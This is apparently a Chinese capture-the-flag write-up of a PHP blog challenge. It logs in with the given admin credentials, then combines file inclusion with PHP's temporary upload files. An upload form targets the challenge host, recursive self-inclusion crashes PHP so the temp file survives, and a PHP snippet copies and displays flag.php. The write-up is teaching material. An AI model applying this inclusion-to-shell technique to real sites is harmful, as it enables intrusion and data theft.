利用上一篇blog的思路,用admin/19-10-1997得到管理页面
这里用php伪协议读取是不行的,php://filter已经失效了,这里的文件包含仍然能够执行,这里是我们可以利用的
这里的思路是上传一个shell,用命令执行读取shell,上传点也不好找,这里利用的是一个php文件上传的特性
这里利用了php对POST上传文件临时保存的特性
php对post过来的文件有一个默认处理流程,首先将post过来的文件保存在/tmp文件夹下,
文件名为php{0-9A-Za-z}的随机字符,我们可以把shell写到这个文件里,直接就可以getshell了,下步就是要对php post一个文件
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title>上传文件</title>
</head>
<body>
<form action="http://7a1c213b5897452f87d69f14b68ea3a90ba7365cfd164398.changame.ichunqiu.com/blog_manage/manager.php?module=manage&name=php" method="post" enctype="multipart/form-data">
<input type="file" name="file"/>
<input type="submit" value="提交">
</form>
</body>
</html>
注意这里出现的两个manager.php,这里是防止利用文件包含写shell时生成的文件被删除
根据大佬所说,原理好像是自包含递归爆内存…简单地说,无穷自包含爆栈使其崩溃,从而影响他的文件删除功能
这里我们上传一个文件
emmmm,确实崩溃了
忽略下面几个,那是我之前做的测试,可以看到确实生成了php文件,虽然我们上传的是txt文件,下面访问就好了
我不太懂的是为什么php后面要加字母,而且任意字母都可以
发现许多函数都被禁掉了
这里要将flag.php拷贝为一个txt文件,在文件包含这个文件就可以了
<?php
copy("/var/www/html/flag.php","/tmp/flag.txt");
show_source("/tmp/flag.txt");
//注意要用到show_source函数显示源码,否则会被解析,从下面也可以看到,flag的内容是在注释当中的
?>
参考
https://blog.csdn.net/qq_30123355/article/details/58165038?utm_source=blogxgwz3